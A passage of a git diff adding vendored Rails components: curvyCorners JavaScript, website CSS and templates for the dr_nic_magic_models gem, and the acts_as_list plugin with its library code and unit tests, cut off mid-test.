else if(typeof(obj.style.MozOpacity) != "undefined")
|
||||
{ obj.style.MozOpacity = opacity/100;}
|
||||
else if(typeof(obj.style.filter) != "undefined")
|
||||
{ obj.style.filter = "alpha(opacity:" + opacity + ")";}
|
||||
else if(typeof(obj.style.KHTMLOpacity) != "undefined")
|
||||
{ obj.style.KHTMLOpacity = opacity/100;}
|
||||
}
|
||||
function inArray(array, value)
|
||||
{ for(var i = 0; i < array.length; i++){ if (array[i] === value) return i;}
|
||||
return false;}
|
||||
function inArrayKey(array, value)
|
||||
{ for(key in array){ if(key === value) return true;}
|
||||
return false;}
|
||||
function addEvent(elm, evType, fn, useCapture) { if (elm.addEventListener) { elm.addEventListener(evType, fn, useCapture); return true;}
|
||||
else if (elm.attachEvent) { var r = elm.attachEvent('on' + evType, fn); return r;}
|
||||
else { elm['on' + evType] = fn;}
|
||||
}
|
||||
function removeEvent(obj, evType, fn, useCapture){ if (obj.removeEventListener){ obj.removeEventListener(evType, fn, useCapture); return true;} else if (obj.detachEvent){ var r = obj.detachEvent("on"+evType, fn); return r;} else { alert("Handler could not be removed");}
|
||||
}
|
||||
function format_colour(colour)
|
||||
{ var returnColour = "#ffffff"; if(colour != "" && colour != "transparent")
|
||||
{ if(colour.substr(0, 3) == "rgb")
|
||||
{ returnColour = rgb2Hex(colour);}
|
||||
else if(colour.length == 4)
|
||||
{ returnColour = "#" + colour.substring(1, 2) + colour.substring(1, 2) + colour.substring(2, 3) + colour.substring(2, 3) + colour.substring(3, 4) + colour.substring(3, 4);}
|
||||
else
|
||||
{ returnColour = colour;}
|
||||
}
|
||||
return returnColour;}
|
||||
function get_style(obj, property, propertyNS)
|
||||
{ try
|
||||
{ if(obj.currentStyle)
|
||||
{ var returnVal = eval("obj.currentStyle." + property);}
|
||||
else
|
||||
{ if(isSafari && obj.style.display == "none")
|
||||
{ obj.style.display = ""; var wasHidden = true;}
|
||||
var returnVal = document.defaultView.getComputedStyle(obj, '').getPropertyValue(propertyNS); if(isSafari && wasHidden)
|
||||
{ obj.style.display = "none";}
|
||||
}
|
||||
}
|
||||
catch(e)
|
||||
{ }
|
||||
return returnVal;}
|
||||
function getElementsByClass(searchClass, node, tag)
|
||||
{ var classElements = new Array(); if(node == null)
|
||||
node = document; if(tag == null)
|
||||
tag = '*'; var els = node.getElementsByTagName(tag); var elsLen = els.length; var pattern = new RegExp("(^|\s)"+searchClass+"(\s|$)"); for (i = 0, j = 0; i < elsLen; i++)
|
||||
{ if(pattern.test(els[i].className))
|
||||
{ classElements[j] = els[i]; j++;}
|
||||
}
|
||||
return classElements;}
|
||||
function newCurvyError(errorMessage)
|
||||
{ return new Error("curvyCorners Error:\n" + errorMessage)
|
||||
}
|
||||
96
vendor/gems/dr_nic_magic_models-0.9.2/website/stylesheets/screen.css
vendored
Normal file
96
vendor/gems/dr_nic_magic_models-0.9.2/website/stylesheets/screen.css
vendored
Normal file
@@ -0,0 +1,96 @@
|
||||
body {
|
||||
background-color: #115;
|
||||
font-family: "Georgia", sans-serif;
|
||||
font-size: 16px;
|
||||
line-height: 1.6em;
|
||||
padding: 1.6em 0 0 0;
|
||||
color: #eee;
|
||||
}
|
||||
h1, h2, h3, h4, h5, h6 {
|
||||
color: #77f;
|
||||
}
|
||||
h1 {
|
||||
font-family: sans-serif;
|
||||
font-weight: normal;
|
||||
font-size: 4em;
|
||||
line-height: 0.8em;
|
||||
letter-spacing: -0.1ex;
|
||||
}
|
||||
li {
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
list-style-type: square;
|
||||
}
|
||||
a {
|
||||
color: #99f;
|
||||
font-weight: normal;
|
||||
text-decoration: underline;
|
||||
}
|
||||
blockquote {
|
||||
font-size: 90%;
|
||||
font-style: italic;
|
||||
border-left: 1px solid #eee;
|
||||
padding-left: 1em;
|
||||
}
|
||||
.caps {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
#main {
|
||||
width: 55em;
|
||||
padding: 0;
|
||||
margin: 0 auto;
|
||||
}
|
||||
.coda {
|
||||
text-align: right;
|
||||
color: #77f;
|
||||
font-size: smaller;
|
||||
}
|
||||
|
||||
pre, code {
|
||||
font-family: monospace;
|
||||
font-size: 90%;
|
||||
line-height: 1.4em;
|
||||
color: #ff8;
|
||||
background-color: #111;
|
||||
padding: 2px 10px 2px 10px;
|
||||
}
|
||||
.comment { color: #aaa; font-style: italic; }
|
||||
.keyword { color: #eff; font-weight: bold; }
|
||||
.punct { color: #eee; font-weight: bold; }
|
||||
.symbol { color: #0bb; }
|
||||
.string { color: #6b4; }
|
||||
.ident { color: #ff8; }
|
||||
.constant { color: #66f; }
|
||||
.regex { color: #ec6; }
|
||||
.number { color: #F99; }
|
||||
.expr { color: #227; }
|
||||
|
||||
#version {
|
||||
float: right;
|
||||
text-align: right;
|
||||
font-family: sans-serif;
|
||||
font-weight: normal;
|
||||
background-color: #ff8;
|
||||
color: #66f;
|
||||
padding: 15px 20px 10px 20px;
|
||||
margin: 0 auto;
|
||||
border: 3px solid #66f;
|
||||
}
|
||||
|
||||
#version .numbers {
|
||||
display: block;
|
||||
font-size: 4em;
|
||||
line-height: 0.8em;
|
||||
letter-spacing: -0.1ex;
|
||||
}
|
||||
|
||||
#version a {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.clickable {
|
||||
cursor: pointer;
|
||||
cursor: hand;
|
||||
}
|
||||
|
||||
3
vendor/gems/dr_nic_magic_models-0.9.2/website/template.js
vendored
Normal file
3
vendor/gems/dr_nic_magic_models-0.9.2/website/template.js
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
// <%= title %>
|
||||
var version = <%= version.to_json %>;
|
||||
<%= body %>
|
||||
55
vendor/gems/dr_nic_magic_models-0.9.2/website/template.rhtml
vendored
Normal file
55
vendor/gems/dr_nic_magic_models-0.9.2/website/template.rhtml
vendored
Normal file
@@ -0,0 +1,55 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
|
||||
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
|
||||
<head>
|
||||
<link rel="stylesheet" href="stylesheets/screen.css" type="text/css" media="screen" />
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>
|
||||
<%= title %>
|
||||
</title>
|
||||
<script src="javascripts/rounded_corners_lite.inc.js" type="text/javascript"></script>
|
||||
<style>
|
||||
|
||||
</style>
|
||||
<script type="text/javascript" src="version-raw.js"></script>
|
||||
<script type="text/javascript">
|
||||
window.onload = function() {
|
||||
settings = {
|
||||
tl: { radius: 10 },
|
||||
tr: { radius: 10 },
|
||||
bl: { radius: 10 },
|
||||
br: { radius: 10 },
|
||||
antiAlias: true,
|
||||
autoPad: true,
|
||||
validTags: ["div"]
|
||||
}
|
||||
var versionBox = new curvyCorners(settings, document.getElementById("version"));
|
||||
versionBox.applyCornersToAll();
|
||||
|
||||
document.getElementById("version_num").innerHTML = version;
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<div id="main">
|
||||
<p><a href="/">↩ More Magic</a></p>
|
||||
|
||||
<div id="version" class="clickable" onclick='document.location = "<%= download %>"; return false'>
|
||||
Get Version
|
||||
<a id="version_num" href="<%= download %>" class="numbers"></a>
|
||||
</div>
|
||||
<h1><%= title %></h1>
|
||||
<%= body %>
|
||||
<p class="coda">
|
||||
<a href="mailto:drnicwilliams@gmail.com">Dr Nic</a>, <%= modified.pretty %><br>
|
||||
Theme extended from <a href="http://rb2js.rubyforge.org/">Paul Battley</a>
|
||||
</p>
|
||||
</div>
|
||||
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
|
||||
</script>
|
||||
<script type="text/javascript">
|
||||
_uacct = "UA-567811-3";
|
||||
urchinTracker();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
3
vendor/gems/dr_nic_magic_models-0.9.2/website/version-raw.js
vendored
Normal file
3
vendor/gems/dr_nic_magic_models-0.9.2/website/version-raw.js
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
// Version JS file
|
||||
var version = "0.9.2";
|
||||
MagicAnnouncement.show('magicmodels', version);
|
||||
2
vendor/gems/dr_nic_magic_models-0.9.2/website/version-raw.txt
vendored
Normal file
2
vendor/gems/dr_nic_magic_models-0.9.2/website/version-raw.txt
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
h1. Version JS file
|
||||
MagicAnnouncement.show('magicmodels', version);
|
||||
4
vendor/gems/dr_nic_magic_models-0.9.2/website/version.js
vendored
Normal file
4
vendor/gems/dr_nic_magic_models-0.9.2/website/version.js
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
// Version JS file
|
||||
var version = "0.9.2";
|
||||
|
||||
document.write(" - " + version);
|
||||
3
vendor/gems/dr_nic_magic_models-0.9.2/website/version.txt
vendored
Normal file
3
vendor/gems/dr_nic_magic_models-0.9.2/website/version.txt
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
h1. Version JS file
|
||||
|
||||
document.write(" - " + version);
|
||||
23
vendor/plugins/acts_as_list/README
vendored
Normal file
23
vendor/plugins/acts_as_list/README
vendored
Normal file
@@ -0,0 +1,23 @@
|
||||
ActsAsList
|
||||
==========
|
||||
|
||||
This acts_as extension provides the capabilities for sorting and reordering a number of objects in a list. The class that has this specified needs to have a +position+ column defined as an integer on the mapped database table.
|
||||
|
||||
|
||||
Example
|
||||
=======
|
||||
|
||||
class TodoList < ActiveRecord::Base
|
||||
has_many :todo_items, :order => "position"
|
||||
end
|
||||
|
||||
class TodoItem < ActiveRecord::Base
|
||||
belongs_to :todo_list
|
||||
acts_as_list :scope => :todo_list
|
||||
end
|
||||
|
||||
todo_list.first.move_to_bottom
|
||||
todo_list.last.move_higher
|
||||
|
||||
|
||||
Copyright (c) 2007 David Heinemeier Hansson, released under the MIT license
|
||||
3
vendor/plugins/acts_as_list/init.rb
vendored
Normal file
3
vendor/plugins/acts_as_list/init.rb
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
$:.unshift "#{File.dirname(__FILE__)}/lib"
|
||||
require 'active_record/acts/list'
|
||||
ActiveRecord::Base.class_eval { include ActiveRecord::Acts::List }
|
||||
256
vendor/plugins/acts_as_list/lib/active_record/acts/list.rb
vendored
Normal file
256
vendor/plugins/acts_as_list/lib/active_record/acts/list.rb
vendored
Normal file
@@ -0,0 +1,256 @@
|
||||
module ActiveRecord
|
||||
module Acts #:nodoc:
|
||||
module List #:nodoc:
|
||||
def self.included(base)
|
||||
base.extend(ClassMethods)
|
||||
end
|
||||
|
||||
# This +acts_as+ extension provides the capabilities for sorting and reordering a number of objects in a list.
|
||||
# The class that has this specified needs to have a +position+ column defined as an integer on
|
||||
# the mapped database table.
|
||||
#
|
||||
# Todo list example:
|
||||
#
|
||||
# class TodoList < ActiveRecord::Base
|
||||
# has_many :todo_items, :order => "position"
|
||||
# end
|
||||
#
|
||||
# class TodoItem < ActiveRecord::Base
|
||||
# belongs_to :todo_list
|
||||
# acts_as_list :scope => :todo_list
|
||||
# end
|
||||
#
|
||||
# todo_list.first.move_to_bottom
|
||||
# todo_list.last.move_higher
|
||||
module ClassMethods
|
||||
# Configuration options are:
|
||||
#
|
||||
# * +column+ - specifies the column name to use for keeping the position integer (default: +position+)
|
||||
# * +scope+ - restricts what is to be considered a list. Given a symbol, it'll attach <tt>_id</tt>
|
||||
# (if it hasn't already been added) and use that as the foreign key restriction. It's also possible
|
||||
# to give it an entire string that is interpolated if you need a tighter scope than just a foreign key.
|
||||
# Example: <tt>acts_as_list :scope => 'todo_list_id = #{todo_list_id} AND completed = 0'</tt>
|
||||
def acts_as_list(options = {})
|
||||
configuration = { :column => "position", :scope => "1 = 1" }
|
||||
configuration.update(options) if options.is_a?(Hash)
|
||||
|
||||
configuration[:scope] = "#{configuration[:scope]}_id".intern if configuration[:scope].is_a?(Symbol) && configuration[:scope].to_s !~ /_id$/
|
||||
|
||||
if configuration[:scope].is_a?(Symbol)
|
||||
scope_condition_method = %(
|
||||
def scope_condition
|
||||
if #{configuration[:scope].to_s}.nil?
|
||||
"#{configuration[:scope].to_s} IS NULL"
|
||||
else
|
||||
"#{configuration[:scope].to_s} = \#{#{configuration[:scope].to_s}}"
|
||||
end
|
||||
end
|
||||
)
|
||||
else
|
||||
scope_condition_method = "def scope_condition() \"#{configuration[:scope]}\" end"
|
||||
end
|
||||
|
||||
class_eval <<-EOV
|
||||
include ActiveRecord::Acts::List::InstanceMethods
|
||||
|
||||
def acts_as_list_class
|
||||
::#{self.name}
|
||||
end
|
||||
|
||||
def position_column
|
||||
'#{configuration[:column]}'
|
||||
end
|
||||
|
||||
#{scope_condition_method}
|
||||
|
||||
before_destroy :remove_from_list
|
||||
before_create :add_to_list_bottom
|
||||
EOV
|
||||
end
|
||||
end
|
||||
|
||||
# All the methods available to a record that has had <tt>acts_as_list</tt> specified. Each method works
|
||||
# by assuming the object to be the item in the list, so <tt>chapter.move_lower</tt> would move that chapter
|
||||
# lower in the list of all chapters. Likewise, <tt>chapter.first?</tt> would return +true+ if that chapter is
|
||||
# the first in the list of all chapters.
|
||||
module InstanceMethods
|
||||
# Insert the item at the given position (defaults to the top position of 1).
|
||||
def insert_at(position = 1)
|
||||
insert_at_position(position)
|
||||
end
|
||||
|
||||
# Swap positions with the next lower item, if one exists.
|
||||
def move_lower
|
||||
return unless lower_item
|
||||
|
||||
acts_as_list_class.transaction do
|
||||
lower_item.decrement_position
|
||||
increment_position
|
||||
end
|
||||
end
|
||||
|
||||
# Swap positions with the next higher item, if one exists.
|
||||
def move_higher
|
||||
return unless higher_item
|
||||
|
||||
acts_as_list_class.transaction do
|
||||
higher_item.increment_position
|
||||
decrement_position
|
||||
end
|
||||
end
|
||||
|
||||
# Move to the bottom of the list. If the item is already in the list, the items below it have their
|
||||
# position adjusted accordingly.
|
||||
def move_to_bottom
|
||||
return unless in_list?
|
||||
acts_as_list_class.transaction do
|
||||
decrement_positions_on_lower_items
|
||||
assume_bottom_position
|
||||
end
|
||||
end
|
||||
|
||||
# Move to the top of the list. If the item is already in the list, the items above it have their
|
||||
# position adjusted accordingly.
|
||||
def move_to_top
|
||||
return unless in_list?
|
||||
acts_as_list_class.transaction do
|
||||
increment_positions_on_higher_items
|
||||
assume_top_position
|
||||
end
|
||||
end
|
||||
|
||||
# Removes the item from the list.
|
||||
def remove_from_list
|
||||
if in_list?
|
||||
decrement_positions_on_lower_items
|
||||
update_attribute position_column, nil
|
||||
end
|
||||
end
|
||||
|
||||
# Increase the position of this item without adjusting the rest of the list.
|
||||
def increment_position
|
||||
return unless in_list?
|
||||
update_attribute position_column, self.send(position_column).to_i + 1
|
||||
end
|
||||
|
||||
# Decrease the position of this item without adjusting the rest of the list.
|
||||
def decrement_position
|
||||
return unless in_list?
|
||||
update_attribute position_column, self.send(position_column).to_i - 1
|
||||
end
|
||||
|
||||
# Return +true+ if this object is the first in the list.
|
||||
def first?
|
||||
return false unless in_list?
|
||||
self.send(position_column) == 1
|
||||
end
|
||||
|
||||
# Return +true+ if this object is the last in the list.
|
||||
def last?
|
||||
return false unless in_list?
|
||||
self.send(position_column) == bottom_position_in_list
|
||||
end
|
||||
|
||||
# Return the next higher item in the list.
|
||||
def higher_item
|
||||
return nil unless in_list?
|
||||
acts_as_list_class.find(:first, :conditions =>
|
||||
"#{scope_condition} AND #{position_column} = #{(send(position_column).to_i - 1).to_s}"
|
||||
)
|
||||
end
|
||||
|
||||
# Return the next lower item in the list.
|
||||
def lower_item
|
||||
return nil unless in_list?
|
||||
acts_as_list_class.find(:first, :conditions =>
|
||||
"#{scope_condition} AND #{position_column} = #{(send(position_column).to_i + 1).to_s}"
|
||||
)
|
||||
end
|
||||
|
||||
# Test if this record is in a list
|
||||
def in_list?
|
||||
!send(position_column).nil?
|
||||
end
|
||||
|
||||
private
|
||||
def add_to_list_top
|
||||
increment_positions_on_all_items
|
||||
end
|
||||
|
||||
def add_to_list_bottom
|
||||
self[position_column] = bottom_position_in_list.to_i + 1
|
||||
end
|
||||
|
||||
# Overwrite this method to define the scope of the list changes
|
||||
def scope_condition() "1" end
|
||||
|
||||
# Returns the bottom position number in the list.
|
||||
# bottom_position_in_list # => 2
|
||||
def bottom_position_in_list(except = nil)
|
||||
item = bottom_item(except)
|
||||
item ? item.send(position_column) : 0
|
||||
end
|
||||
|
||||
# Returns the bottom item
|
||||
def bottom_item(except = nil)
|
||||
conditions = scope_condition
|
||||
conditions = "#{conditions} AND #{self.class.primary_key} != #{except.id}" if except
|
||||
acts_as_list_class.find(:first, :conditions => conditions, :order => "#{position_column} DESC")
|
||||
end
|
||||
|
||||
# Forces item to assume the bottom position in the list.
|
||||
def assume_bottom_position
|
||||
update_attribute(position_column, bottom_position_in_list(self).to_i + 1)
|
||||
end
|
||||
|
||||
# Forces item to assume the top position in the list.
|
||||
def assume_top_position
|
||||
update_attribute(position_column, 1)
|
||||
end
|
||||
|
||||
# This has the effect of moving all the higher items up one.
|
||||
def decrement_positions_on_higher_items(position)
|
||||
acts_as_list_class.update_all(
|
||||
"#{position_column} = (#{position_column} - 1)", "#{scope_condition} AND #{position_column} <= #{position}"
|
||||
)
|
||||
end
|
||||
|
||||
# This has the effect of moving all the lower items up one.
|
||||
def decrement_positions_on_lower_items
|
||||
return unless in_list?
|
||||
acts_as_list_class.update_all(
|
||||
"#{position_column} = (#{position_column} - 1)", "#{scope_condition} AND #{position_column} > #{send(position_column).to_i}"
|
||||
)
|
||||
end
|
||||
|
||||
# This has the effect of moving all the higher items down one.
|
||||
def increment_positions_on_higher_items
|
||||
return unless in_list?
|
||||
acts_as_list_class.update_all(
|
||||
"#{position_column} = (#{position_column} + 1)", "#{scope_condition} AND #{position_column} < #{send(position_column).to_i}"
|
||||
)
|
||||
end
|
||||
|
||||
# This has the effect of moving all the lower items down one.
|
||||
def increment_positions_on_lower_items(position)
|
||||
acts_as_list_class.update_all(
|
||||
"#{position_column} = (#{position_column} + 1)", "#{scope_condition} AND #{position_column} >= #{position}"
|
||||
)
|
||||
end
|
||||
|
||||
# Increments position (<tt>position_column</tt>) of all items in the list.
|
||||
def increment_positions_on_all_items
|
||||
acts_as_list_class.update_all(
|
||||
"#{position_column} = (#{position_column} + 1)", "#{scope_condition}"
|
||||
)
|
||||
end
|
||||
|
||||
def insert_at_position(position)
|
||||
remove_from_list
|
||||
increment_positions_on_lower_items(position)
|
||||
self.update_attribute(position_column, position)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
332
vendor/plugins/acts_as_list/test/list_test.rb
vendored
Normal file
332
vendor/plugins/acts_as_list/test/list_test.rb
vendored
Normal file
@@ -0,0 +1,332 @@
|
||||
require 'test/unit'
|
||||
|
||||
require 'rubygems'
|
||||
gem 'activerecord', '>= 1.15.4.7794'
|
||||
require 'active_record'
|
||||
|
||||
require "#{File.dirname(__FILE__)}/../init"
|
||||
|
||||
ActiveRecord::Base.establish_connection(:adapter => "sqlite3", :dbfile => ":memory:")
|
||||
|
||||
def setup_db
|
||||
ActiveRecord::Schema.define(:version => 1) do
|
||||
create_table :mixins do |t|
|
||||
t.column :pos, :integer
|
||||
t.column :parent_id, :integer
|
||||
t.column :created_at, :datetime
|
||||
t.column :updated_at, :datetime
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def teardown_db
|
||||
ActiveRecord::Base.connection.tables.each do |table|
|
||||
ActiveRecord::Base.connection.drop_table(table)
|
||||
end
|
||||
end
|
||||
|
||||
class Mixin < ActiveRecord::Base
|
||||
end
|
||||
|
||||
class ListMixin < Mixin
|
||||
acts_as_list :column => "pos", :scope => :parent
|
||||
|
||||
def self.table_name() "mixins" end
|
||||
end
|
||||
|
||||
class ListMixinSub1 < ListMixin
|
||||
end
|
||||
|
||||
class ListMixinSub2 < ListMixin
|
||||
end
|
||||
|
||||
class ListWithStringScopeMixin < ActiveRecord::Base
|
||||
acts_as_list :column => "pos", :scope => 'parent_id = #{parent_id}'
|
||||
|
||||
def self.table_name() "mixins" end
|
||||
end
|
||||
|
||||
|
||||
class ListTest < Test::Unit::TestCase
|
||||
|
||||
def setup
|
||||
setup_db
|
||||
(1..4).each { |counter| ListMixin.create! :pos => counter, :parent_id => 5 }
|
||||
end
|
||||
|
||||
def teardown
|
||||
teardown_db
|
||||
end
|
||||
|
||||
def test_reordering
|
||||
assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(2).move_lower
|
||||
assert_equal [1, 3, 2, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(2).move_higher
|
||||
assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(1).move_to_bottom
|
||||
assert_equal [2, 3, 4, 1], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(1).move_to_top
|
||||
assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(2).move_to_bottom
|
||||
assert_equal [1, 3, 4, 2], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(4).move_to_top
|
||||
assert_equal [4, 1, 3, 2], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
end
|
||||
|
||||
def test_move_to_bottom_with_next_to_last_item
|
||||
assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
ListMixin.find(3).move_to_bottom
|
||||
assert_equal [1, 2, 4, 3], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
end
|
||||
|
||||
def test_next_prev
|
||||
assert_equal ListMixin.find(2), ListMixin.find(1).lower_item
|
||||
assert_nil ListMixin.find(1).higher_item
|
||||
assert_equal ListMixin.find(3), ListMixin.find(4).higher_item
|
||||
assert_nil ListMixin.find(4).lower_item
|
||||
end
|
||||
|
||||
def test_injection
|
||||
item = ListMixin.new(:parent_id => 1)
|
||||
assert_equal "parent_id = 1", item.scope_condition
|
||||
assert_equal "pos", item.position_column
|
||||
end
|
||||
|
||||
def test_insert
|
||||
new = ListMixin.create(:parent_id => 20)
|
||||
assert_equal 1, new.pos
|
||||
assert new.first?
|
||||
assert new.last?
|
||||
|
||||
new = ListMixin.create(:parent_id => 20)
|
||||
assert_equal 2, new.pos
|
||||
assert !new.first?
|
||||
assert new.last?
|
||||
|
||||
new = ListMixin.create(:parent_id => 20)
|
||||
assert_equal 3, new.pos
|
||||
assert !new.first?
|
||||
assert new.last?
|
||||
|
||||
new = ListMixin.create(:parent_id => 0)
|
||||
assert_equal 1, new.pos
|
||||
assert new.first?
|
||||
assert new.last?
|
||||
end
|
||||
|
||||
def test_insert_at
|
||||
new = ListMixin.create(:parent_id => 20)
|
||||
assert_equal 1, new.pos
|
||||
|
||||
new = ListMixin.create(:parent_id => 20)
|
||||
assert_equal 2, new.pos
|
||||
|
||||
new = ListMixin.create(:parent_id => 20)
|
||||
assert_equal 3, new.pos
|
||||
|
||||
new4 = ListMixin.create(:parent_id => 20)
|
||||
assert_equal 4, new4.pos
|
||||
|
||||
new4.insert_at(3)
|
||||
assert_equal 3, new4.pos
|
||||
|
||||
new.reload
|
||||
assert_equal 4, new.pos
|
||||
|
||||
new.insert_at(2)
|
||||
assert_equal 2, new.pos
|
||||
|
||||
new4.reload
|
||||
assert_equal 4, new4.pos
|
||||
|
||||
new5 = ListMixin.create(:parent_id => 20)
|
||||
assert_equal 5, new5.pos
|
||||
|
||||
new5.insert_at(1)
|
||||
assert_equal 1, new5.pos
|
||||
|
||||
new4.reload
|
||||
assert_equal 5, new4.pos
|
||||
end
|
||||
|
||||
def test_delete_middle
|
||||
assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(2).destroy
|
||||
|
||||
assert_equal [1, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
|
||||
assert_equal 1, ListMixin.find(1).pos
|
||||
assert_equal 2, ListMixin.find(3).pos
|
||||
assert_equal 3, ListMixin.find(4).pos
|
||||
|
||||
ListMixin.find(1).destroy
|
||||
|
||||
assert_equal [3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
|
||||
assert_equal 1, ListMixin.find(3).pos
|
||||
assert_equal 2, ListMixin.find(4).pos
|
||||
end
|
||||
|
||||
def test_with_string_based_scope
|
||||
new = ListWithStringScopeMixin.create(:parent_id => 500)
|
||||
assert_equal 1, new.pos
|
||||
assert new.first?
|
||||
assert new.last?
|
||||
end
|
||||
|
||||
def test_nil_scope
|
||||
new1, new2, new3 = ListMixin.create, ListMixin.create, ListMixin.create
|
||||
new2.move_higher
|
||||
assert_equal [new2, new1, new3], ListMixin.find(:all, :conditions => 'parent_id IS NULL', :order => 'pos')
|
||||
end
|
||||
|
||||
|
||||
def test_remove_from_list_should_then_fail_in_list?
|
||||
assert_equal true, ListMixin.find(1).in_list?
|
||||
ListMixin.find(1).remove_from_list
|
||||
assert_equal false, ListMixin.find(1).in_list?
|
||||
end
|
||||
|
||||
def test_remove_from_list_should_set_position_to_nil
|
||||
assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(2).remove_from_list
|
||||
|
||||
assert_equal [2, 1, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
|
||||
assert_equal 1, ListMixin.find(1).pos
|
||||
assert_equal nil, ListMixin.find(2).pos
|
||||
assert_equal 2, ListMixin.find(3).pos
|
||||
assert_equal 3, ListMixin.find(4).pos
|
||||
end
|
||||
|
||||
def test_remove_before_destroy_does_not_shift_lower_items_twice
|
||||
assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(2).remove_from_list
|
||||
ListMixin.find(2).destroy
|
||||
|
||||
assert_equal [1, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)
|
||||
|
||||
assert_equal 1, ListMixin.find(1).pos
|
||||
assert_equal 2, ListMixin.find(3).pos
|
||||
assert_equal 3, ListMixin.find(4).pos
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class ListSubTest < Test::Unit::TestCase
|
||||
|
||||
def setup
|
||||
setup_db
|
||||
(1..4).each { |i| ((i % 2 == 1) ? ListMixinSub1 : ListMixinSub2).create! :pos => i, :parent_id => 5000 }
|
||||
end
|
||||
|
||||
def teardown
|
||||
teardown_db
|
||||
end
|
||||
|
||||
def test_reordering
|
||||
assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(2).move_lower
|
||||
assert_equal [1, 3, 2, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(2).move_higher
|
||||
assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(1).move_to_bottom
|
||||
assert_equal [2, 3, 4, 1], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(1).move_to_top
|
||||
assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(2).move_to_bottom
|
||||
assert_equal [1, 3, 4, 2], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id)
|
||||
|
||||
ListMixin.find(4).move_to_top
|
||||
assert_equal [4, 1, 3, 2], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id)
|
||||
end
|
||||
|
||||
def test_move_to_bottom_with_next_to_last_item
|
||||
assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id)
|
||||
ListMixin.find(3).move_to_bottom
|
||||
assert_equal [1, 2, 4, 3], ListMixin.find(:all, :conditions => 'parent_id = 5000', :order => 'pos').map(&:id)
|
||||
end
|
||||
|
||||
def test_next_prev
|
||||
assert_equal ListMixin.find(2), ListMixin.find(1).lower_item
|
||||
assert_nil ListMixin.find(1).higher_item
|
||||
assert_equal ListMixin.find(3), ListMixin.find(4).higher_item
|
||||
assert_nil ListMixin.find(4).lower_item
|
||||
end
|
||||
|
||||
def test_injection
|
||||
item = ListMixin.new("parent_id"=>1)
|
||||
assert_equal "parent_id = 1", item.scope_condition
|
||||
assert_equal "pos", item.position_column
|
||||
end
|
||||
|
||||
def test_insert_at
|
||||
new = ListMixin.create("parent_id" => 20)
|
||||
assert_equal 1, new.pos
|
||||
|
||||
new = ListMixinSub1.create("parent_id" => 20)
|
||||
assert_equal 2, new.pos
|
||||
|
||||
new = ListMixinSub2.create("parent_id" => 20)
|
||||
assert_equal 3, new.pos
|
||||
|
||||
new4 = ListMixin.create("parent_id" => 20)
|
||||
assert_equal 4, new4.pos
|
||||
|
||||
new4.insert_at(3)
|
||||
assert_equal 3, new4.pos
|
||||
|
